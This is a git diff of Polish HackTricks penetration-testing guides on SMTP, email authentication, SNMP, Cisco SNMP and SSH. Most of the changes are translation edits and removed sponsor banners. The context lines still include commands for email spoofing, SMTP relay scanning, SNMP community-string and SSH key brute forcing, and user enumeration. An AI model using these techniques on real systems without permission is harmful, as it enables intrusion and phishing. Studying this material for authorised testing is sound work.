zdefiniowanych przez organizacje. Lista ta, która określa adresy IP/zakresy, domeny i inne podmioty **autoryzowane do wysyłania e-maili w imieniu nazwy domeny**, zawiera różne "**Mechanizmy**" w rekordzie SPF. #### Mechanizmy @@ -266,9 +250,9 @@ Z [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework): | IP4 | Jeśli nadawca znajduje się w danym zakresie adresów IPv4, pasuje. | | IP6 | Jeśli nadawca znajduje się w danym zakresie adresów IPv6, pasuje. | | MX | Jeśli nazwa domeny ma rekord MX, który rozwiązuje się do adresu nadawcy, będzie pasować (tj. poczta pochodzi z jednego z przychodzących serwerów pocztowych domeny). | -| PTR | Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w danej domenie i ta nazwa domeny rozwiązuje się do adresu klienta (potwierdzony odwrotny DNS), pasuje. Ten mechanizm jest odradzany i powinien być unikany, jeśli to możliwe. | -| EXISTS | Jeśli dana nazwa domeny rozwiązuje się do jakiegokolwiek adresu, pasuje (niezależnie od adresu, do którego się rozwiązuje). Rzadko jest używane. Wraz z makrojęzykiem SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL. | -| INCLUDE | Odnosi się do polityki innej domeny. Jeśli polityka tej domeny przechodzi, ten mechanizm przechodzi. Jednak jeśli włączona polityka nie przechodzi, przetwarzanie trwa. Aby w pełni delegować do polityki innej domeny, należy użyć rozszerzenia przekierowania. | +| PTR | Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w danej domenie i ta nazwa domeny rozwiązuje się do adresu klienta (potwierdzony odwrotny DNS), pasuje. Ten mechanizm jest odradzany i powinien być unikany, jeśli to możliwe. | +| EXISTS | Jeśli dana nazwa domeny rozwiązuje się do jakiegokolwiek adresu, pasuje (niezależnie od adresu, do którego się rozwiązuje). Jest to rzadko używane. Wraz z makrojęzykiem SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL. | +| INCLUDE | Odnosi się do polityki innej domeny. Jeśli polityka tej domeny przechodzi, ten mechanizm przechodzi. Jednak jeśli dołączona polityka nie przechodzi, przetwarzanie trwa. Aby w pełni delegować do polityki innej domeny, należy użyć rozszerzenia przekierowania. | | REDIRECT |

Przekierowanie to wskaźnik do innej nazwy domeny, która hostuje politykę SPF, pozwala na współdzielenie tej samej polityki SPF przez wiele domen. Jest to przydatne, gdy pracuje się z dużą ilością domen, które dzielą tę samą infrastrukturę e-mailową.

Polityka SPF domeny wskazanej w mechanizmie przekierowania będzie używana.

| Możliwe jest również zidentyfikowanie **Kwalifikatorów**, które wskazują **co należy zrobić, jeśli mechanizm pasuje**. Domyślnie używany jest **kwalifikator "+"** (więc jeśli jakikolwiek mechanizm pasuje, oznacza to, że jest dozwolony).\ @@ -308,7 +292,7 @@ Aby sprawdzić SPF domeny, możesz użyć narzędzi online, takich jak: [https:/ ### DKIM (DomainKeys Identified Mail) -DKIM jest wykorzystywany do podpisywania wychodzących emaili, co pozwala na ich weryfikację przez zewnętrzne Agenty Transferu Poczty (MTA) poprzez pobranie publicznego klucza domeny z DNS. Ten publiczny klucz znajduje się w rekordzie TXT domeny. Aby uzyskać ten klucz, należy znać zarówno selektor, jak i nazwę domeny. +DKIM jest wykorzystywany do podpisywania wychodzących emaili, co pozwala na ich weryfikację przez zewnętrzne Agenty Przesyłania Poczty (MTA) poprzez pobranie publicznego klucza domeny z DNS. Ten publiczny klucz znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, należy znać zarówno selektor, jak i nazwę domeny. Na przykład, aby zażądać klucza, niezbędne są nazwa domeny i selektor. Można je znaleźć w nagłówku maila `DKIM-Signature`, np. `d=gmail.com;s=20120113`. @@ -322,7 +306,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p= DMARC zwiększa bezpieczeństwo e-maili, opierając się na protokołach SPF i DKIM. Określa zasady, które kierują serwerami pocztowymi w obsłudze e-maili z określonej domeny, w tym jak radzić sobie z niepowodzeniami uwierzytelniania i gdzie wysyłać raporty o działaniach związanych z przetwarzaniem e-maili. -**Aby uzyskać rekord DMARC, musisz zapytać subdomenę \_dmarc** +**Aby uzyskać rekord DMARC, musisz zapytać o subdomenę \_dmarc** ```bash # Reject dig _dmarc.facebook.com txt | grep DMARC @@ -340,12 +324,12 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA | Tag Name | Purpose | Sample | | -------- | --------------------------------------------- | ------------------------------- | -| v | Wersja protokołu | v=DMARC1 | +| v | Wersja protokołu | v=DMARC1 | | pct | Procent wiadomości podlegających filtrowaniu | pct=20 | | ruf | URI raportowania dla raportów sądowych | ruf=mailto:authfail@example.com | | rua | URI raportowania zbiorczych raportów | rua=mailto:aggrep@example.com | | p | Polityka dla domeny organizacyjnej | p=quarantine | -| sp | Polityka dla subdomen domeny OD | sp=reject | +| sp | Polityka dla subdomen OD | sp=reject | | adkim | Tryb dopasowania dla DKIM | adkim=s | | aspf | Tryb dopasowania dla SPF | aspf=r | @@ -359,7 +343,7 @@ Poniższe informacje pierwotnie opublikowano na openspf.org, które było świet > > Jeśli otrzymam e-mail z pielovers.demon.co.uk, a nie ma danych SPF dla pielovers, czy powinienem cofnąć się o jeden poziom i przetestować SPF dla demon.co.uk? Nie. Każda subdomena w Demon to inny klient, a każdy klient może mieć swoją własną politykę. Nie miałoby sensu, aby polityka Demona dotyczyła wszystkich jego klientów domyślnie; jeśli Demon chce to zrobić, może ustawić rekordy SPF dla każdej subdomeny. > -> Dlatego rada dla wydawców SPF jest następująca: powinieneś dodać rekord SPF dla każdej subdomeny lub nazwy hosta, która ma rekord A lub MX. +> Dlatego rada dla wydawców SPF jest taka: powinieneś dodać rekord SPF dla każdej subdomeny lub nazwy hosta, która ma rekord A lub MX. > > Strony z rekordami A lub MX wildcard powinny również mieć rekord SPF wildcard w formie: \* IN TXT "v=spf1 -all" @@ -367,9 +351,9 @@ To ma sens - subdomena może znajdować się w zupełnie innej lokalizacji geogr ### **Open Relay** -Kiedy e-maile są wysyłane, zapewnienie, że nie zostaną oznaczone jako spam, jest kluczowe. Często osiąga się to poprzez użycie **serwera relay, który jest zaufany przez odbiorcę**. Jednak powszechnym wyzwaniem jest to, że administratorzy mogą nie być w pełni świadomi, które **zakresy IP są bezpieczne do zezwolenia**. Ta niewiedza może prowadzić do błędów w konfiguracji serwera SMTP, co jest ryzykiem często identyfikowanym w ocenach bezpieczeństwa. +Kiedy wysyłane są e-maile, zapewnienie, że nie zostaną oznaczone jako spam, jest kluczowe. Często osiąga się to poprzez użycie **serwera relay, który jest zaufany przez odbiorcę**. Jednak powszechnym wyzwaniem jest to, że administratorzy mogą nie być w pełni świadomi, które **zakresy IP są bezpieczne do zezwolenia**. Ta niewiedza może prowadzić do błędów w konfiguracji serwera SMTP, co jest ryzykiem często identyfikowanym w ocenach bezpieczeństwa. -Obejściem, które niektórzy administratorzy stosują, aby uniknąć problemów z dostarczaniem e-maili, szczególnie w przypadku komunikacji z potencjalnymi lub obecnymi klientami, jest **zezwolenie na połączenia z dowolnego adresu IP**. Osiąga się to poprzez skonfigurowanie parametru `mynetworks` serwera SMTP, aby akceptował wszystkie adresy IP, jak pokazano poniżej: +Obejściem, które niektórzy administratorzy stosują, aby uniknąć problemów z dostarczaniem e-maili, szczególnie w odniesieniu do komunikacji z potencjalnymi lub obecnymi klientami, jest **zezwolenie na połączenia z dowolnego adresu IP**. Osiąga się to poprzez skonfigurowanie parametru `mynetworks` serwera SMTP, aby akceptował wszystkie adresy IP, jak pokazano poniżej: ```bash mynetworks = 0.0.0.0/0 ``` @@ -398,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com ``` > [!WARNING] -> Jeśli napotkasz jakikolwiek **błąd podczas używania biblioteki dkim python** przy analizowaniu klucza, śmiało użyj tego poniższego.\ +> Jeśli napotkasz jakikolwiek **błąd podczas używania biblioteki dkim python** przy analizie klucza, śmiało użyj tego poniższego.\ > **UWAGA**: To jest tylko brudne rozwiązanie do szybkich sprawdzeń w przypadkach, gdy z jakiegoś powodu klucz prywatny openssl **nie może być analizowany przez dkim**. > > ``` @@ -575,12 +559,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit' ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md index ea2cbb27b..175b8f2cf 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -2,14 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - **Komendy z:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/) **HELO**\ @@ -19,7 +11,7 @@ To pierwsza komenda SMTP: rozpoczyna rozmowę, identyfikując serwer nadawcy i z Alternatywna komenda do rozpoczęcia rozmowy, podkreślająca, że serwer używa protokołu Extended SMTP. **MAIL FROM**\ -Za pomocą tej komendy SMTP rozpoczynają się operacje: nadawca podaje adres e-mail źródłowy w polu „From” i faktycznie rozpoczyna transfer e-maila. +Za pomocą tej komendy SMTP rozpoczynają się operacje: nadawca podaje adres e-mail w polu „From” i faktycznie rozpoczyna transfer e-maila. **RCPT TO**\ Identyfikuje odbiorcę e-maila; jeśli jest ich więcej niż jeden, komenda jest po prostu powtarzana adres po adresie. @@ -28,7 +20,7 @@ Identyfikuje odbiorcę e-maila; jeśli jest ich więcej niż jeden, komenda jest Ta komenda SMTP informuje zdalny serwer o szacowanej wielkości (w bajtach) załączonego e-maila. Może być również używana do zgłaszania maksymalnego rozmiaru wiadomości, która ma być zaakceptowana przez serwer. **DATA**\ -Za pomocą komendy DATA rozpoczyna się transfer treści e-maila; zazwyczaj jest następnie uzupełniana kodem odpowiedzi 354 wydawanym przez serwer, dającym pozwolenie na rozpoczęcie faktycznego przesyłania. +Za pomocą komendy DATA rozpoczyna się transfer treści e-maila; zazwyczaj jest następnie uzupełniana o kod odpowiedzi 354 wydany przez serwer, dający pozwolenie na rozpoczęcie rzeczywistej transmisji. **VRFY**\ Serwer jest proszony o weryfikację, czy dany adres e-mail lub nazwa użytkownika faktycznie istnieje. @@ -51,12 +43,4 @@ To prośba klienta o informacje, które mogą być przydatne do pomyślnego tran **QUIT**\ Kończy rozmowę SMTP. -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index 7556943a5..ed218fc40 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -2,15 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} ## Podstawowe informacje -**SNMP - Protokół Prostej Administracji Sieci** to protokół używany do monitorowania różnych urządzeń w sieci (takich jak routery, przełączniki, drukarki, IoT...). +**SNMP - Prosty protokół zarządzania siecią** to protokół używany do monitorowania różnych urządzeń w sieci (takich jak routery, przełączniki, drukarki, IoT...). ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -20,7 +15,7 @@ PORT STATE SERVICE REASON VERSION ### MIB -Aby zapewnić, że dostęp do SNMP działa w różnych producentach i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to **plik tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu.\ +Aby zapewnić, że dostęp do SNMP działa w różnych producentach i z różnymi kombinacjami klient-serwer, stworzono **Management Information Base (MIB)**. MIB to **niezależny format przechowywania informacji o urządzeniach**. MIB to plik **tekstowy**, w którym wszystkie zapytania **obiekty SNMP** urządzenia są wymienione w **standaryzowanej** hierarchii drzewiastej. Zawiera co **najmniej jeden `Object Identifier` (`OID`)**, który, oprócz niezbędnego **unikalnego adresu** i **nazwa**, dostarcza również informacji o typie, prawach dostępu i opisie danego obiektu.\ Pliki MIB są napisane w formacie tekstowym ASCII w `Abstract Syntax Notation One` (`ASN.1`). **MIB-y nie zawierają danych**, ale wyjaśniają **gdzie znaleźć jakie informacje** i jak one wyglądają, jakie wartości zwracają dla konkretnego OID, lub jaki typ danych jest używany. ### OIDs @@ -29,7 +24,7 @@ Pliki MIB są napisane w formacie tekstowym ASCII w `Abstract Syntax Notation On Najwyższe poziomy identyfikatorów obiektów MIB, czyli OIDs, są przydzielane różnym organizacjom ustalającym standardy. To w tych najwyższych poziomach ustalany jest framework dla globalnych praktyk i standardów zarządzania. -Ponadto, dostawcy mają swobodę tworzenia prywatnych gałęzi. W ramach tych gałęzi mają **autonomię do włączania zarządzanych obiektów związanych z ich własnymi liniami produktów**. Ten system zapewnia, że istnieje uporządkowana i zorganizowana metoda identyfikacji i zarządzania szeroką gamą obiektów w różnych dostawcach i standardach. +Ponadto, dostawcy mają swobodę tworzenia prywatnych gałęzi. W ramach tych gałęzi mają **autonomię do włączania zarządzanych obiektów związanych z własnymi liniami produktów**. Ten system zapewnia, że istnieje uporządkowana i zorganizowana metoda identyfikacji i zarządzania szeroką gamą obiektów w różnych dostawcach i standardach. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) @@ -44,7 +39,7 @@ Istnieją **znane OIDs** jak te w [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1. Oto analiza tego adresu. -- 1 – nazywa się to ISO i ustala, że to jest OID. Dlatego wszystkie OID-y zaczynają się od „1” +- 1 – nazywa się to ISO i ustala, że jest to OID. Dlatego wszystkie OID-y zaczynają się od „1” - 3 – nazywa się to ORG i służy do określenia organizacji, która zbudowała urządzenie. - 6 – to dod lub Departament Obrony, który jest organizacją, która jako pierwsza ustanowiła Internet. - 1 – to wartość internetu, aby oznaczyć, że wszystkie komunikacje będą odbywać się przez Internet. @@ -71,21 +66,21 @@ Pozostałe wartości podają szczegółowe informacje o urządzeniu. ### Wersje SNMP -Istnieją 2 ważne wersje SNMP: +Są 2 ważne wersje SNMP: -- **SNMPv1**: Główna wersja, nadal najczęściej używana, **uwierzytelnianie opiera się na ciągu** (ciąg społeczności), który podróżuje w **czystym tekście** (wszystkie informacje podróżują w czystym tekście). **Wersja 2 i 2c** również wysyłają **ruch w czystym tekście** i używają **ciągu społeczności jako uwierzytelnienia**. +- **SNMPv1**: Główna, nadal najczęściej używana, **uwierzytelnianie opiera się na ciągu** (ciąg społeczności), który podróżuje w **czystym tekście** (wszystkie informacje podróżują w czystym tekście). **Wersja 2 i 2c** również wysyłają **ruch w czystym tekście** i używają **ciągu społeczności jako uwierzytelnienia**. - **SNMPv3**: Używa lepszej formy **uwierzytelniania** i informacje podróżują **szyfrowane** (można przeprowadzić **atak słownikowy**, ale byłoby znacznie trudniej znaleźć poprawne dane uwierzytelniające niż w SNMPv1 i v2). ### Ciągi społeczności Jak wspomniano wcześniej, **aby uzyskać dostęp do informacji zapisanych w MIB, musisz znać ciąg społeczności w wersjach 1 i 2/2c oraz dane uwierzytelniające w wersji 3.**\ -Istnieją **2 typy ciągów społeczności**: +Są **2 typy ciągów społeczności**: -- **`public`** głównie **tylko do odczytu** +- **`public`** głównie **funkcje tylko do odczytu** - **`private`** **Odczyt/Zapis** w ogólności -Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że „**public**” jest używany, możesz być w stanie **zapisać niektóre wartości.** Mogą również istnieć obiekty, które są **zawsze "tylko do odczytu".**\ -Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**. +Zauważ, że **możliwość zapisu OID zależy od używanego ciągu społeczności**, więc **nawet** jeśli znajdziesz, że „**public**” jest używane, możesz być w stanie **zapisać niektóre wartości.** Mogą również istnieć obiekty, które są **zawsze "tylko do odczytu".**\ +Jeśli spróbujesz **zapisać** obiekt, otrzymasz błąd **`noSuchName` lub `readOnly`**.\*\*.\*\* W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer nie **odpowie**. Więc, jeśli odpowiada, użyto **ważnego ciągu społeczności**. @@ -94,7 +89,7 @@ W wersjach 1 i 2/2c, jeśli użyjesz **złego** ciągu społeczności, serwer ni [Z Wikipedii](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol): - Agent SNMP odbiera żądania na porcie UDP **161**. -- Menedżer odbiera powiadomienia ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na porcie **162**. +- Menedżer odbiera powiadomienia ([Pułapki](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) i [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) na porcie **162**. - Gdy używany jest z [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) lub [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), żądania są odbierane na porcie **10161**, a powiadomienia są wysyłane na port **10162**. ## Atak Brute-Force na Ciąg Społeczności (v1 i v2c) @@ -151,13 +146,13 @@ Obie komendy wymagają **ciągu społeczności** oraz odpowiedniego adresu IP, o ### Parametry SNMP dla Microsoft Windows -Seria **wartości MIB (Management Information Base)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP: +Seria **wartości Management Information Base (MIB)** jest wykorzystywana do monitorowania różnych aspektów systemu Windows za pomocą SNMP: - **Procesy systemowe**: Dostępne przez `1.3.6.1.2.1.25.1.6.0`, ten parametr umożliwia monitorowanie aktywnych procesów w systemie. - **Działające programy**: Wartość `1.3.6.1.2.1.25.4.2.1.2` jest przeznaczona do śledzenia aktualnie działających programów. - **Ścieżka procesów**: Aby określić, skąd pochodzi proces, używa się wartości MIB `1.3.6.1.2.1.25.4.2.1.4`. - **Jednostki pamięci**: Monitorowanie jednostek pamięci ułatwia `1.3.6.1.2.1.25.2.3.1.4`. -- **Nazwa oprogramowania**: Aby zidentyfikować zainstalowane oprogramowanie w systemie, stosuje się `1.3.6.1.2.1.25.6.3.1.2`. +- **Nazwa oprogramowania**: Aby zidentyfikować oprogramowanie zainstalowane w systemie, stosuje się `1.3.6.1.2.1.25.6.3.1.2`. - **Konta użytkowników**: Wartość `1.3.6.1.4.1.77.1.2.25` umożliwia śledzenie kont użytkowników. - **Lokalne porty TCP**: Na koniec, `1.3.6.1.2.1.6.13.1.3` jest przeznaczone do monitorowania lokalnych portów TCP, dostarczając informacji o aktywnych połączeniach sieciowych. @@ -179,7 +174,7 @@ snmp-rce.md ## **Masowe SNMP** -[Braa](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem tego narzędzia jest oczywiście wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i skanuje BARDZO szybko. +[Braa](https://github.com/mteg/braa) to masowy skaner SNMP. Zamierzonym zastosowaniem tego narzędzia jest, oczywiście, wykonywanie zapytań SNMP – ale w przeciwieństwie do snmpwalk z net-snmp, jest w stanie zapytać dziesiątki lub setki hostów jednocześnie, w jednym procesie. Dzięki temu zużywa bardzo mało zasobów systemowych i skanuje BARDZO szybko. Braa implementuje własny stos SNMP, więc nie potrzebuje żadnych bibliotek SNMP, takich jak net-snmp. @@ -211,31 +206,26 @@ grep -i "login\|fail" *.snmp ``` ### **Emaile** -Na koniec, aby wyodrębnić **adresy e-mail** z danych, używana jest **komenda grep** z wyrażeniem regularnym, koncentrując się na wzorcach, które pasują do formatów e-mail: +Na koniec, aby wyodrębnić **adresy e-mail** z danych, używa się **polecenia grep** z wyrażeniem regularnym, koncentrując się na wzorcach, które pasują do formatów e-mail: ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` ## Modyfikowanie wartości SNMP -Możesz użyć _**NetScanTools**_ do **modyfikacji wartości**. Musisz znać **prywatny ciąg**, aby to zrobić. +Możesz użyć _**NetScanTools**_ do **modyfikacji wartości**. Będziesz musiał znać **prywatny ciąg**, aby to zrobić. ## Fałszowanie Jeśli istnieje ACL, który pozwala tylko niektórym adresom IP na zapytania do usługi SMNP, możesz sfałszować jeden z tych adresów wewnątrz pakietu UDP i podsłuchiwać ruch. -## Sprawdzenie plików konfiguracyjnych SNMP +## Zbadaj pliki konfiguracyjne SNMP - snmp.conf - snmpd.conf - snmp-config.xml -
-Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Automatyczne komendy HackTricks +## Automatyczne polecenia HackTricks ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. Port_Number: 161 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index dc29c8fb7..fce62d762 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
+## Pentesting Cisco Networks -Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} - -## Pentesting sieci Cisco - -**SNMP** działa na UDP z portami 161/UDP dla ogólnych wiadomości i 162/UDP dla wiadomości trap. Protokół ten opiera się na ciągach społeczności, które pełnią rolę haseł umożliwiających komunikację między agentami SNMP a serwerami. Ciągi te są kluczowe, ponieważ określają poziomy dostępu, w szczególności **uprawnienia tylko do odczytu (RO) lub odczytu i zapisu (RW)**. Znaczącym wektorem ataku dla pentesterów jest **brute-forcing ciągów społeczności**, mający na celu infiltrację urządzeń sieciowych. +**SNMP** działa na UDP z portami 161/UDP dla ogólnych wiadomości i 162/UDP dla wiadomości trap. Protokół ten opiera się na ciągach społeczności, które pełnią rolę haseł umożliwiających komunikację między agentami SNMP a serwerami. Ciągi te są kluczowe, ponieważ określają poziomy dostępu, w szczególności **tylko do odczytu (RO) lub odczytu i zapisu (RW)**. Znaczącym wektorem ataku dla pentesterów jest **brute-forcing ciągów społeczności**, mający na celu infiltrację urządzeń sieciowych. Praktycznym narzędziem do przeprowadzania takich ataków brute-force jest [**onesixtyone**](https://github.com/trailofbits/onesixtyone), które wymaga listy potencjalnych ciągów społeczności oraz adresów IP celów: ```bash @@ -25,7 +19,7 @@ Framework Metasploit zawiera moduł `cisco_config_tftp`, który ułatwia ekstrak - IP docelowego urządzenia (**RHOSTS**) - Ścieżka docelowa dla plików konfiguracyjnych (**OUTPUTDIR**) -Po skonfigurowaniu, ten moduł umożliwia pobranie ustawień urządzenia bezpośrednio do określonego folderu. +Po skonfigurowaniu, moduł ten umożliwia pobranie ustawień urządzenia bezpośrednio do określonego folderu. #### `snmp_enum` @@ -39,10 +33,5 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz zhakować to, co nie do zhakowania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_). - -{% embed url="https://www.stmcyber.com/careers" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index 104edb624..3a1f6884c 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -2,11 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -
-**Tip dotyczący bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## Podstawowe informacje @@ -47,7 +43,7 @@ ssh-audit to narzędzie do audytowania konfiguracji serwera i klienta ssh. - wsparcie dla protokołu SSH1 i SSH2; - analiza konfiguracji klienta SSH; - pobieranie banera, rozpoznawanie urządzenia lub oprogramowania i systemu operacyjnego, wykrywanie kompresji; -- zbieranie algorytmów wymiany kluczy, kluczy hosta, szyfrowania i kodów uwierzytelniania wiadomości; +- zbieranie algorytmów wymiany kluczy, klucza hosta, szyfrowania i kodu uwierzytelniania wiadomości; - wyjście informacji o algorytmach (dostępne od, usunięte/wyłączone, niebezpieczne/słabe/legacy itp.); - wyjście rekomendacji dotyczących algorytmów (dodaj lub usuń na podstawie rozpoznanej wersji oprogramowania); - wyjście informacji o bezpieczeństwie (powiązane problemy, przypisane listy CVE itp.); @@ -83,7 +79,7 @@ ssh-keyscan -t rsa -p ``` ### Słabe algorytmy szyfrujące -To jest domyślnie odkrywane przez **nmap**. Możesz również użyć **sslcan** lub **sslyze**. +To jest domyślnie wykrywane przez **nmap**. Możesz również użyć **sslcan** lub **sslyze**. ### Skrypty Nmap ```bash @@ -109,7 +105,7 @@ msf> use scanner/ssh/ssh_enumusers Niektóre powszechne dane logowania ssh [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) i [tutaj](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) oraz poniżej. -### Atak brute force na klucz prywatny +### Atak Brute Force na Klucz Prywatny Jeśli znasz jakieś klucze prywatne ssh, które mogą być użyte... spróbujmy. Możesz użyć skryptu nmap: ``` @@ -127,13 +123,13 @@ Lub użyj `ssh-keybrute.py` (natywny python3, lekki i z włączonymi algorytmami #### Słabe klucze SSH / Przewidywalny PRNG w Debianie -Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być złamana metodą brute force. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznego zmniejszenia przestrzeni kluczy, co można złamać metodą brute force. Wstępnie wygenerowane zestawy kluczy wygenerowane na systemach Debian dotkniętych słabym PRNG są dostępne tutaj: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -Powinieneś poszukać tutaj, aby znaleźć ważne klucze dla maszyny ofiary. +Powinieneś spojrzeć tutaj, aby poszukać ważnych kluczy dla maszyny ofiary. ### Kerberos -**crackmapexec** 